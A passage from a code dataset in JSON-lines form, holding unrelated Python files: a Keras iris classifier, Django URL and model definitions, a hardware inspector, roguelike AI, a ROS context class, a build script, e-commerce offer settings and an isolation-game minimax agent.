sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.pipeline import Pipeline\n\nseed = 7\nnumpy.random.seed(seed)\n\ndataframe=pandas.read_csv(\"iris.csv\",header=None)\ndataset=dataframe.values\nprint(dataframe)\n\nX = dataset[:,0:4].astype(float)\nY = dataset[:,4]\n\nencoder = LabelEncoder()\nencoder.fit(Y)\nprint(encoder)\nencoded_Y = encoder.transform(Y)\nprint(encoded_Y)\n\ndummy_y = np_utils.to_categorical(encoded_Y)\nprint(dummy_y)\n\ndef baseline_model():\n # create model\n model = Sequential()\n model.add(Dense(4, input_dim=4, kernel_initializer='normal', activation='relu'))\n model.add(Dense(3, kernel_initializer='normal', activation='sigmoid'))\n # Compile model\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\nc=baseline_model().fit(X,dummy_y)\n\nestimator = KerasClassifier(build_fn=baseline_model, epochs=200, batch_size=5, verbose=1)\nprint(estimator)\n\nkfold = KFold(n_splits=10, shuffle=True, random_state=seed)\n\nresults = cross_val_score(estimator, X, dummy_y, cv=kfold)\nprint(\"Baseline: %.2f%% (%.2f%%)\" % (results.mean()*100, results.std()*100))\n\nmodel.predict([1,.5,.5,.5])\n\n","sub_path":"nerd/ker2.py","file_name":"ker2.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"10240404","text":"from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\nfrom mydatabase.views import *\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'myproject.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', home), \n url(r'^prijava$', login), \n url(r'^pretraga$', search_page), \n url(r'^obnovi-zaporku$', reset_password), \n url(r'^prijavise$', mylogin), \n url(r'^unsubscribe$', unsubscribe), \n url(r'^kontakt$', kontakt), \n url(r'^pdf_view(?P\\d+)/(?P\\d+)$', pdf_view), \n url(r'^pdf__storno_view(?P\\d+)/(?P\\d+)$', pdf__storno_view), \n url(r'^naruci/$', naruci), \n url(r'^test/$', test), \n url(r'^fiksnopolje/$', fiksnopolje), \n url(r'^update/$', update), \n url(r'^urediracun/$', urediracun), \n url(r'^odjava/$', odjava), \n url(r'^sesija/$', sesija), \n url(r'^kupac/$', kupac), \n url(r'^dodajukosaricu/$', dodajukosaricu), \n url(r'^kupnja$', kupnja), \n url(r'^registracija/$', register), \n url(r'^provjera/$', provjera), \n url(r'^logiranje/$', logiranje), \n url(r'^provjera_email/$', provjera_email), \n url(r'^stranica(?P/.*)$', stranica), \n #url(r'^(?Pkategorija/\\w+-*\\w+-*\\w*)/stranica(?P\\d+)', category_page), \n\turl(r'^(?Pkategorija/.*)/stranica(?P\\d+)', category_page), \n #url(r'^kategorija/(?P\\w+-*\\w+-*\\w*)/$', category), \n url(r'^kategorija/(?P.*)/$', category), \n \n url(r'^(?P.*00)/$', product), \n url(r'^(?P.*10)/$', myproduct), \n)\n\n\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nimport settings\nurlpatterns += patterns('', (\n r'^static/(?P.*)$',\n 'django.views.static.serve',\n {'document_root': settings.STATIC_ROOT}\n))\n\n\nurlpatterns += patterns('', (\n r'^media/(?P.*)$',\n 'django.views.static.serve',\n {'document_root': settings.MEDIA_ROOT}\n))\n\n\nurlpatterns += [\n url(r'^about/', TemplateView.as_view(template_name=\"about.html\")),\n]\n\n\n\n\n\n\n\n\n# This is only needed when using runserver.\n","sub_path":"myproject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"270367216","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/mercury_agent/inspector/inspectors/cpu.py\n# Compiled at: 2019-02-11 13:08:11\n# Size of source mod 2**32: 1676 bytes\nfrom mercury_agent.inspector.inspectors import inspector\nfrom mercury_agent.inspector.hwlib.cpuinfo import CPUInfo\n\n@inspector.expose('cpu')\ndef cpu_inspector():\n _cpu = []\n cpu_info = CPUInfo()\n processors = cpu_info.physical_index\n for _id in processors:\n processor = processors[_id][0]\n _proc_dict = dict()\n _proc_dict['physical_id'] = _id\n _proc_dict['cores'] = int(processor['cpu_cores'])\n _proc_dict['threads'] = int(processor['siblings'])\n _proc_dict['model_name'] = processor['model_name']\n _proc_dict['cache_size'] = processor['cache_size']\n _proc_dict['cache_alignment'] = int(processor['cache_alignment'])\n _proc_dict['flags'] = processor['flags'].split()\n _proc_dict['frequency'] = CPUInfo.get_speed_info(processor)\n _cpu.append(_proc_dict)\n _cpu.sort(key=(lambda k: k['physical_id']))\n\n return _cpu\n\n\nif __name__ == '__main__':\n from pprint import pprint\n pprint(cpu_inspector())","sub_path":"pycfiles/mercury_agent-0.1.10-py3.6/cpu.cpython-36.py","file_name":"cpu.cpython-36.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"174340080","text":"from random import randint\n\nimport tcod\n\nfrom game_messages import Message\n\n\nclass BasicMonster:\n def __init__(self):\n self.owner = None\n\n def set_owner(self, owner):\n self.owner = owner\n\n def take_turn(self, target, fov_map, game_map, entities):\n results = []\n monster = self.owner\n if fov_map.fov[monster.y, monster.x]:\n if monster.distance_to(target) >= 2:\n monster.move_astar(target, entities, game_map)\n\n elif target.is_alive():\n attack_results = monster.fighter.attack(target)\n results.extend(attack_results)\n\n return results\n\n\nclass ConfusedMonster:\n def __init__(self, previous_ai, number_of_turns=10):\n self.owner = None\n self.previous_ai = previous_ai\n self.number_of_turns = number_of_turns\n\n def take_turn(self, target, fov_map, game_map, entities):\n results = []\n\n if self.number_of_turns > 0:\n random_x = self.owner.x + randint(0, 2) - 1\n random_y = self.owner.y + randint(0, 2) - 1\n\n if random_x != self.owner.x and random_y != self.owner.y:\n self.owner.move_towards(random_x, random_y, game_map, entities)\n\n self.number_of_turns -= 1\n else:\n self.owner.ai = self.previous_ai\n results.append({\n 'message': Message('The {0} is no longer confused!'.format(self.owner.name), tcod.red)\n })\n\n return results\n","sub_path":"src/components/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"637697166","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport copy\nimport rospy\n\ntry:\n from typing import Dict, List\nexcept:\n print(\"Module: typing (for better completion) not found. You can ignore this.\")\n\n\nclass ContextBase(object):\n \"\"\"\n 過去のループでの情報をFPSに同期して保持しておくためのクラス\n \"\"\"\n\n def __init__(self):\n self._context = {} # type: Dict[str, List[object]]\n self._new_context = {} # type: Dict[str, object]\n self._default_value = {} # type: Dcit[str, object]\n\n # dtを得るための時間情報\n self.register_new_context(\"__last_loop_time__\", 2, rospy.Time.now())\n\n self._updated = False\n\n def register_new_context(self, key, length, default, strict=True, namespace=\"\"):\n # type: (str, int, object, bool, str) -> None\n # key: データを一意に特定するための名前\n # length: 何フレーム分保存しておくか\n # default: 初期化時に配列を埋めるのに利用するデータ\n\n _key = str(namespace) + \"/\" + str(key)\n\n if not _key in self._context:\n self._context[_key] = [default for _ in range(length)]\n self._default_value[_key] = default\n else:\n if strict:\n raise Exception(\"もう既に登録されたコンテキストのkeyです:\" + _key)\n else:\n pass\n\n self._last_loop_time = rospy.Time.now()\n\n def handle_loop_callback(self):\n # ループ一回につき1度だけ呼ぶイベント。必ずフレームと同じ回数(60FPSなら60回/秒)だけ呼ぶこと。\n\n self.update(\"__last_loop_time__\", rospy.Time.now())\n self._updated = True\n\n for _key in self._new_context:\n self._context[_key].append(copy.deepcopy(self._new_context[_key]))\n self._context[_key].pop(0)\n self._new_context = {}\n\n def is_valid(self):\n # 一度もcallbackが呼ばれていない場合、このコンテキストは管理されていない。\n # handle_loop_callbackを毎ループ呼ぶ必要がある。\n return self._updated\n\n def update(self, key, new_value, namespace=\"\"):\n # type: (str, object, str) -> None\n # 次のデータを登録する。実際の更新の実行は1ループ終了時に\n # fire_one_loop_eventが呼ばれたときのみに行われる。\n\n _key = str(namespace) + \"/\" + str(key)\n self._new_context[_key] = new_value\n\n def force_update(self, key, new_value, namespace=\"\"):\n # type: (str, object, str) -> None\n # 1ループ1回までの制限にかからず、強制的にアップデートする。\n # これを使うなら値の管理は自己責任で。\n _key = str(namespace) + \"/\" + str(key)\n self._new_context[_key] = new_value\n self._context[_key].append(copy.deepcopy(self._new_context[_key]))\n self._context[_key].pop(0)\n\n def reset(self, key, default=None, namespace=\"\"):\n # type: (str, object, str) -> None\n # リセットする。defaultが指定されていればそちらの値でリセットする。\n _key = str(namespace) + \"/\" + str(key)\n if default:\n default_value = default\n else:\n default_value = self._default_value[_key]\n\n length = len(self._context[_key])\n self._context[_key] = [default_value for _ in range(length)]\n\n def get_dt(self):\n # type: () -> float\n # ループ間でかかった時間(dt)をfloatで返す。単位は秒。\n rostimes = self.get_all(\"__last_loop_time__\") # type: List[rospy.Time]\n return (rostimes[-1] - rostimes[-2]).to_sec()\n\n def get_all(self, key, namespace=\"\"):\n # type: (str, str) -> object\n # 保存している情報をリストで全て返す。先頭が最も古いもの。最後が最も新しいもの。\n _key = str(namespace) + \"/\" + str(key)\n return self._context[_key]\n\n def get_last(self, key, namespace=\"\"):\n # type: (str, str) -> object\n # 一つ前のループのデータを取得できる。1ループが終了し、\n # fire_one_loop_eventが呼ばれるまで更新されない。\n _key = str(namespace) + \"/\" + str(key)\n return self._context[_key][-1]\n\n def get_oldest(self, key, namespace=\"\"):\n # type: (str, str) -> object\n # 最も古いデータを取得する関数\n _key = str(namespace) + \"/\" + str(key)\n return self._context[_key][0]\n\n\nclass RobotContext(ContextBase):\n pass\n\n\nclass StrategyContext(ContextBase):\n pass\n","sub_path":"aisaac/scripts/common/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11695411","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport stat\nfrom os.path import dirname, exists, join, abspath, normpath\n\nTHIS_DIR = abspath(dirname(__file__))\nsys.path.insert(0, normpath(join(THIS_DIR, \"..\")))\n\nfrom buildtools import *\n\n\nclass CheckerBuildEnv(BuildEnvironment):\n BUILD_EXCLUDE = [\n \"config.cfg\"\n ]\n\n this_dir = THIS_DIR\n pkg_name = \"checker\"\n git_repo = \"classic\"\n targets = (\"deb\",)\n\n\n def setup(self, git_repo_dir):\n lib_base = join(self.btd, \"usr/lib/checker\")\n\n src_dir = join(git_repo_dir, \"src\")\n shutil.copytree(join(src_dir, \"checker\"), lib_base)\n shutil.copytree(join(src_dir, \"models\"), join(lib_base, \"models\"))\n shutil.copytree(join(src_dir, \"thirdparty\"), join(lib_base, \"thirdparty\"))\n\n\n def remove_all_but(scan_dir, to_preserve):\n for root, dirs, files in os.walk(scan_dir):\n for f in files:\n if f not in to_preserve: os.unlink(join(root, f))\n for d in dirs:\n if d not in to_preserve: shutil.rmtree(join(root, d))\n\n remove_all_but(join(src_dir, \"models\"), (\"nodedb.py\", \"__init__.py\"))\n remove_all_but(join(src_dir, \"thirdparty\"), (\"browser.py\", \"ssmtplib.py\", \"__init__.py\"))\n\n\n\ndef build(version, branch):\n env = CheckerBuildEnv(version, branch)\n env.build()\n","sub_path":"MainComponents/build/checker/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"584796576","text":"from django.utils.translation import gettext_lazy as _\nfrom oscar.defaults import OSCAR_DASHBOARD_NAVIGATION\n\n\ndef insert_nav_item(after_name, label, url_name):\n new_entry = {\n \"label\": label,\n \"url_name\": url_name,\n }\n for i, section in enumerate(OSCAR_DASHBOARD_NAVIGATION):\n for j, entry in enumerate(section.get(\"children\", [])):\n if entry.get(\"url_name\") == after_name:\n OSCAR_DASHBOARD_NAVIGATION[i][\"children\"].insert(j + 1, new_entry)\n\n\ninsert_nav_item(\"dashboard:offer-list\", _(\"Offer Groups\"), \"dashboard:offergroup-list\")\ninsert_nav_item(\"dashboard:offergroup-list\", _(\"Benefits\"), \"dashboard:benefit-list\")\ninsert_nav_item(\"dashboard:benefit-list\", _(\"Conditions\"), \"dashboard:condition-list\")\n\n# Media file path for offer images\nBLUELIGHT_OFFER_IMAGE_FOLDER = \"images/offers/\"\n\nBLUELIGHT_COSMETIC_PRICE_CACHE_TTL = 86400\n\nBLUELIGHT_BENEFIT_CLASSES = [\n (\n \"oscarbluelight.offer.benefits.BluelightPercentageDiscountBenefit\",\n _(\"Discount is a percentage off of the product's value\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightAbsoluteDiscountBenefit\",\n _(\"Discount is a fixed amount off of the product's value\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightMultibuyDiscountBenefit\",\n _(\"Discount is to give the cheapest product for free\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightFixedPriceBenefit\",\n _(\"Get the products in the range for a fixed price total\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightFixedPricePerItemBenefit\",\n _(\"Get the products in the range for a fixed price per item\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightShippingAbsoluteDiscountBenefit\",\n _(\"Discount is a fixed amount of the shipping cost\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightShippingFixedPriceBenefit\",\n _(\"Get shipping for a fixed price\"),\n ),\n (\n \"oscarbluelight.offer.benefits.BluelightShippingPercentageDiscountBenefit\",\n _(\"Discount is a percentage off of the shipping cost\"),\n ),\n]\n\n\nBLUELIGHT_CONDITION_CLASSES = [\n (\n \"oscarbluelight.offer.conditions.BluelightCountCondition\",\n _(\"Depends on number of items in basket that are in condition range\"),\n ),\n (\n \"oscarbluelight.offer.conditions.BluelightValueCondition\",\n _(\n \"Depends on tax-exclusive value of items in basket that are in condition range\"\n ),\n ),\n (\n \"oscarbluelight.offer.conditions.BluelightTaxInclusiveValueCondition\",\n _(\n \"Depends on tax-inclusive value of items in basket that are in condition range\"\n ),\n ),\n (\n \"oscarbluelight.offer.conditions.BluelightCoverageCondition\",\n _(\"Needs to contain a set number of DISTINCT items from the condition range\"),\n ),\n]\n\nBLUELIGHT_VOUCHER_AVAILABILITY_RULES = [\n (\n \"oscarbluelight.voucher.rules.VoucherHasChildrenRule\",\n _(\"Checks if the voucher has children\"),\n ),\n (\n \"oscarbluelight.voucher.rules.VoucherSuspendedRule\",\n _(\"Checks if the voucher is suspended\"),\n ),\n (\n \"oscarbluelight.voucher.rules.VoucherLimitUsageByGroupRule\",\n _(\n \"Checks if limit_usage_by_group is set for the voucher and user is not in one of the selected groups\"\n ),\n ),\n (\n \"oscarbluelight.voucher.rules.VoucherSingleUseRule\",\n _(\"Check if the voucher is single use and has already been used\"),\n ),\n (\n \"oscarbluelight.voucher.rules.VoucherSingleUsePerCustomerRule\",\n _(\n \"Check if the voucher is single use per customer and customer has already used it\"\n ),\n ),\n]\n\nBLUELIGHT_IGNORED_ORDER_STATUSES = []\n","sub_path":"server/src/oscarbluelight/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"20552647","text":"from django.db import models\n\n# Create your models here.\nimport uuid\nimport random\nimport os\nimport datetime\n\n\ndef get_uuid(s='default', bit=0):\n\n try:\n bit = int(bit)\n except ValueError:\n bit = 0\n\n if bit:\n return ''.join(random.sample(uuid.uuid5(uuid.uuid4(), s).get_hex(), bit))\n else:\n return uuid.uuid5(uuid.uuid4(), s).get_hex()\n\n\ndef get_random_filename(base_dir='template', ext='.zip', key='template'):\n filename = '%s%s' % (get_uuid(key, 6), ext)\n\n return os.path.join('%s/%s/' % (base_dir, datetime.datetime.now().strftime('%Y%m%d')), filename)\n\n\ndef get_filename(instance, filename):\n f_name, ext = os.path.splitext(filename)\n\n #instance.filename = filename\n #instance.save()\n return get_random_filename(ext=ext)\n\n\nclass Code(models.Model):\n\n TYPE_LIST = (\n ('text', 'text'),\n ('url', 'url'),\n ('audio', 'audio'),\n ('video', 'video')\n )\n\n uuid = models.CharField('UUID', max_length=64, default=lambda: get_uuid('code'), primary_key=True)\n code = models.CharField('Code', max_length=100, unique=True)\n content = models.CharField('Content', max_length=100)\n mime_type = models.CharField('Mime Type', max_length=100, choices=TYPE_LIST, default=TYPE_LIST[1][0])\n created = models.DateTimeField('Created', auto_now_add=True)\n updated = models.DateTimeField('Updated', auto_now=True)\n\n class Meta:\n verbose_name = 'Code'\n verbose_name_plural = 'Codes'\n ordering = ('-updated',)\n\n def __unicode__(self):\n return self.code\n\n\nclass Template(models.Model):\n uuid = models.CharField('UUID', max_length=64, default=lambda: get_uuid('template'), primary_key=True)\n name = models.CharField('Name', max_length=100, unique=True)\n zipfile = models.FileField('Zip File', upload_to=get_filename, blank=True, default='')\n created = models.DateTimeField('Created', auto_now_add=True)\n updated = models.DateTimeField('Updated', auto_now=True)\n\n class Meta:\n verbose_name = 'Template'\n verbose_name_plural = 'Templates'\n ordering = ('-updated',)\n\n def __unicode__(self):\n return self.name","sub_path":"orm/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"651145765","text":"\"\"\"This file contains all the classes you must complete for this project.\n\nYou can use the test cases in agent_test.py to help during development, and\naugment the test suite with your own test cases to further test your code.\n\nYou must test your agent's strength against a set of agents with known\nrelative strength using tournament.py and include the results in your report.\n\"\"\"\n\nimport random\n\n# ------------------------------------------------------------------------------\n\n\nclass Timeout(Exception):\n \"\"\"Subclass base exception for code clarity.\"\"\"\n pass\n\n\n# ------------------------------------------------------------------------------\n\n\ndef custom_score(game, player):\n \"\"\"Calculate the heuristic value of a game state from the point of view\n of the given player.\n\n Parameters\n ----------\n game : `isolation.Board`\n An instance of `isolation.Board` encoding the current state of the\n game (e.g., player locations and blocked cells).\n\n player : object\n A player instance in the current game (i.e., an object corresponding to\n one of the player objects `game.__player_1__` or `game.__player_2__`.)\n\n Returns\n ----------\n float\n The heuristic value of the current game state to the specified player.\n \"\"\"\n\n # This function acts as a dispatch mechanism so that different methods can\n # easily be tested against each other.\n return scoring_function_lecture(game, player)\n\n# ------------------------------------------------------------------------------\n\ndef scoring_function_random(game, player):\n \"\"\" This scoring function returns a random value.\"\"\"\n return random.random()\n\n# ------------------------------------------------------------------------------\n\ndef scoring_function_naive(game, player):\n \"\"\" This function simply returns the number of legal moves for the given\n player\"\"\"\n return float(game.get_legal_moves(player).__len__())\n\n# ------------------------------------------------------------------------------\n\ndef scoring_function_adaptive(game, player):\n \"\"\" This scoring function calculates the following score:\n\n This should ensure that an enemy move with more possibilities is not\n taken out of the consideration. In a hand full of manual experiments it\n seemed that situations where the number of own moves is 2 and the number\n of opponent moves is between 2 and 5 still include a good chance to win.\n As the moves are restricted to an L-Shape, the number of possible moves\n compared to each other is not necessarily significant.\"\"\"\n\n ownMoves = game.get_legal_moves(player).__len__()\n opponentMoves = game.get_legal_moves(game.get_opponent(player)).__len__()\n numberOfMaxMoves = game.height * game.width\n numberOfMovesDone = game.move_count\n scalingFactor = 0.2 * numberOfMaxMoves\n\n return float(ownMoves - (scalingFactor / numberOfMovesDone) * opponentMoves)\n\n# ------------------------------------------------------------------------------\n\ndef scoring_function_lecture(game, player):\n \"\"\" This scoring function calculates the following score:\n\n (1 * own moves) - (2 * opponent_moves)\n\n This should ensure that an enemy move with less movement options is\n weighted stronger than a move with less possible successor states.\"\"\"\n\n ownMoves = game.get_legal_moves(player).__len__()\n opponentMoves = game.get_legal_moves(game.get_opponent(player)).__len__()\n\n return 1.3 * ownMoves - 1.75 * opponentMoves\n\n# ------------------------------------------------------------------------------\n\ndef scoring_function_strategy(game, player):\n\n # If we are in the beginning of the game, ...\n if (game.move_count <= 0.2 * game.height * game.width):\n return scoring_function_naive(game, player)\n\n # If we are in the middle of the game, ...\n if (game.move_count <= 0.75 * game.height * game.width):\n return scoring_function_lecture(game, player)\n\n # If we are in end-game, ...\n return scoring_function_longest_path(game, player)\n\n# ------------------------------------------------------------------------------\n\ndef scoring_function_longest_path(game, player):\n\n \"\"\"This scoring function should prefer moves that have a longer path for\n the player than for the opponent. It should only be used in endgame as the\n performance impact is significant!\"\"\"\n\n own_longest_path = 0\n nme_longest_path = 0\n\n if not game.get_legal_moves(player):\n return 0\n\n for move in game.get_legal_moves(player):\n\n gamestate = game.forecast_move(move)\n\n score = scoring_function_longest_path(gamestate, player) + 1\n\n if score > own_longest_path:\n own_longest_path = score\n\n for move in game.get_legal_moves(game.get_opponent(player)):\n\n gamestate = game.forecast_move(move)\n\n score = scoring_function_longest_path(gamestate, game.get_opponent(player)) + 1\n\n if score > nme_longest_path:\n nme_longest_path = score\n\n return float(own_longest_path - nme_longest_path)\n# ------------------------------------------------------------------------------\n\n\nclass CustomPlayer:\n \"\"\"Game-playing agent that chooses a move using your evaluation function\n and a depth-limited minimax algorithm with alpha-beta pruning. You must\n finish and test this player to make sure it properly uses minimax and\n alpha-beta to return a good move before the search time limit expires.\n\n Parameters\n ----------\n search_depth : int (optional)\n A strictly positive integer (i.e., 1, 2, 3,...) for the number of\n layers in the game tree to explore for fixed-depth search. (i.e., a\n depth of one (1) would only explore the immediate sucessors of the\n current state.)\n\n score_fn : callable (optional)\n A function to use for heuristic evaluation of game states.\n\n iterative : boolean (optional)\n Flag indicating whether to perform fixed-depth search (False) or\n iterative deepening search (True).\n\n method : {'minimax', 'alphabeta'} (optional)\n The name of the search method to use in get_move().\n\n timeout : float (optional)\n Time remaining (in milliseconds) when search is aborted. Should be a\n positive value large enough to allow the function to return before the\n timer expires.\n \"\"\"\n\n def __init__(self, search_depth=3, score_fn=custom_score,\n iterative=True, method='minimax', timeout=10.):\n self.search_depth = search_depth\n self.iterative = iterative\n self.score = score_fn\n self.method = method\n self.time_left = None\n self.TIMER_THRESHOLD = timeout\n\n def get_move(self, game, legal_moves, time_left):\n \"\"\"Search for the best move from the available legal moves and return a\n result before the time limit expires.\n\n This function must perform iterative deepening if self.iterative=True,\n and it must use the search method (minimax or alphabeta) corresponding\n to the self.method value.\n\n **********************************************************************\n NOTE: If time_left < 0 when this function returns, the agent will\n forfeit the game due to timeout. You must return _before_ the\n timer reaches 0.\n **********************************************************************\n\n Parameters\n ----------\n game : `isolation.Board`\n An instance of `isolation.Board` encoding the current state of the\n game (e.g., player locations and blocked cells).\n\n legal_moves : list<(int, int)>\n A list containing legal moves. Moves are encoded as tuples of pairs\n of ints defining the next (row, col) for the agent to occupy.\n\n time_left : callable\n A function that returns the number of milliseconds left in the\n current turn. Returning with any less than 0 ms remaining forfeits\n the game.\n\n Returns\n ----------\n (int, int)\n Board coordinates corresponding to a legal move; may return\n (-1, -1) if there are no available legal moves.\n \"\"\"\n\n self.time_left = time_left\n\n if not legal_moves:\n return (-1, -1)\n\n # If the initial position was not set, set the player close to the\n # middle. The // operator means INTEGER DIVISION.\n if not game.move_count:\n row = game.height // 2\n col = game.width // 2\n return (row, col)\n\n # Ensure that a next move is always selected, even when the search\n # function is not returning any information. To ensure that there is\n # some dynamic involved the move is selected randomly.\n best_possible_move = random.choice(legal_moves)\n best_possible_score = float('-inf')\n\n try:\n\n # The first iteration level is set to 1 in case of `self.iterative`\n # being true, otherwise it is set to the search_depth which defines\n # the maximum level to be recursed to.\n if self.iterative:\n depth = 1\n else:\n depth = self.search_depth\n\n # Initialize an infinite loop to find the best possible value.\n while True:\n\n # Dispatch parameters to the method which was defined in the\n # game setup.\n score, possible_move = \\\n getattr(self, self.method)(game, depth)\n\n # update score and move if a better move was found\n if score > best_possible_score:\n best_possible_score = score\n best_possible_move = possible_move\n\n # in iterative mode, a new iteration should be triggered with\n # an additional level of depth. This is done until a Timeout\n # Exception is thrown or until all levels were discovered.\n if self.iterative:\n depth += 1\n else:\n break\n\n except Timeout as t:\n # When a Timeout Exception is catched, the last discovered best\n # move is returned.\n return best_possible_move\n\n # Return the best move found.\n return best_possible_move\n\n# ------------------------------------------------------------------------------\n\n def minimax(self, game, depth, maximizing_player=True):\n \"\"\"Implement the minimax search algorithm as described in the lectures.\n\n Parameters\n ----------\n game : isolation.Board\n An instance of the Isolation game `Board` class representing the\n current game state\n\n depth : int\n Depth is an integer representing the maximum number of plies to\n search in the game tree before aborting\n\n maximizing_player : bool\n Flag indicating whether the current search depth corresponds to a\n maximizing layer (True) or a minimizing layer (False)\n\n Returns\n ----------\n float\n The score for the current search branch\n\n tuple(int, int)\n The best move for the current branch; (-1, -1) for no legal moves\n \"\"\"\n\n # When the defined time is exhausted, a Timeout Exception is raised to\n # end the search process.\n if self.time_left() < self.TIMER_THRESHOLD:\n raise Timeout()\n\n # If a win or lose of my player was found, the relating utility() value\n # and the relating move are returned.\n if game.is_winner(self) or game.is_loser(self):\n return game.utility(self), game.get_player_location(self)\n\n # When depth has reached 0, the nodes must be evaluted by calling the\n # scoring function. The score of the relating move and the relating\n # move are returned.\n if depth == 0:\n return self.score(game, self), game.get_player_location(self)\n\n # Best score and move are initialized, with regard to the\n # maximizing_player bool value.\n best_score = float('-inf') if maximizing_player else float('+inf')\n best_move = (-1, -1)\n\n # Iterate over all possible children.\n for move in game.get_legal_moves():\n\n # A copy of the current game is created that reflects the current\n # move. This is important to ensure progress in the search.\n gamestate = game.forecast_move(move)\n\n # Execute recursive minimax calls with depth reduced by one and\n # maximizing_player flipped to the opposite.\n score, _ = self.minimax(gamestate, depth-1, not maximizing_player)\n\n # If the last iteration found a move with a better score, best_score\n # and best_move are updated.\n if self.score_is_better(score, best_score, maximizing_player):\n best_score = score\n best_move = move\n\n return best_score, best_move\n\n# ------------------------------------------------------------------------------\n\n def score_is_better(self, score, best_score, maximizing_player):\n \"\"\"This helper function evaluates two scores against each other and\n evaluates if the new score is better than the latest best_score, with\n respect to the maximizing_player bool value.\n\n Parameters\n ----------\n score : float\n Score that was found in the last search\n\n best_score : float\n Best score found so far\n\n maximizing_player : bool\n Flag indicating whether the current search depth corresponds to a\n maximizing layer (True) or a minimizing layer (False)\n\n Returns\n ----------\n bool\n True if score is better than the best_score\n False otherwise\n \"\"\"\n if maximizing_player and score > best_score:\n return True\n\n if not maximizing_player and score < best_score:\n return True\n\n# ------------------------------------------------------------------------------\n\n def alphabeta(self, game, depth, alpha=float(\"-inf\"), beta=float(\"inf\"), maximizing_player=True):\n \"\"\"Implement minimax search with alpha-beta pruning as described in the\n lectures.\n\n Parameters\n ----------\n game : isolation.Board\n An instance of the Isolation game `Board` class representing the\n current game state\n\n depth : int\n Depth is an integer representing the maximum number of plies to\n search in the game tree before aborting\n\n alpha : float\n Alpha limits the lower bound of search on minimizing layers\n\n beta : float\n Beta limits the upper bound of search on maximizing layers\n\n maximizing_player : bool\n Flag indicating whether the current search depth corresponds to a\n maximizing layer (True) or a minimizing layer (False)\n\n Returns\n ----------\n float\n The score for the current search branch\n\n tuple(int, int)\n The best move for the current branch; (-1, -1) for no legal moves\n \"\"\"\n\n if self.time_left() < self.TIMER_THRESHOLD:\n raise Timeout()\n\n # If a win or lose of my player was found, the relating utility() value\n # and the relating move are returned.\n if game.is_winner(self) or game.is_loser(self):\n return game.utility(self), game.get_player_location(self)\n\n # When depth has reached 0, the nodes must be evaluted by calling the\n # scoring function. The score of the relating move and the relating\n # move are returned.\n if depth == 0:\n return self.score(game, self), game.get_player_location(self)\n\n # Best score and move are initialized, with regard to the\n # maximizing_player bool value.\n best_score = float('-inf') if maximizing_player else float('+inf')\n best_move = (-1, -1)\n\n # Iterate over all possible children.\n for move in game.get_legal_moves():\n\n # A copy of the current game is created that reflects the current\n # move. This is important to ensure progress in the search.\n gamestate = game.forecast_move(move)\n\n # Execute recursive minimax calls with depth reduced by one and\n # maximizing_player flipped to the opposite.\n score, _ = self.alphabeta(gamestate, depth-1, alpha, beta, not maximizing_player)\n\n # If the last iteration found a move with a better score, best_score\n # and best_move are updated.\n if self.score_is_better(score, best_score, maximizing_player):\n best_score = score\n best_move = move\n\n # Alpha-Beta addition\n if maximizing_player:\n if best_score >= beta:\n break\n alpha = max(alpha, best_score)\n\n if not maximizing_player:\n if best_score <= alpha:\n break\n beta = min(beta, best_score)\n\n return best_score, best_move","sub_path":"game_agent.py","file_name":"game_agent.py","file_ext":"py","file_size_in_byte":17216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"303162470","text":"# MIT License\n#\n# Copyright (c) 2020 University of Oxford\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS 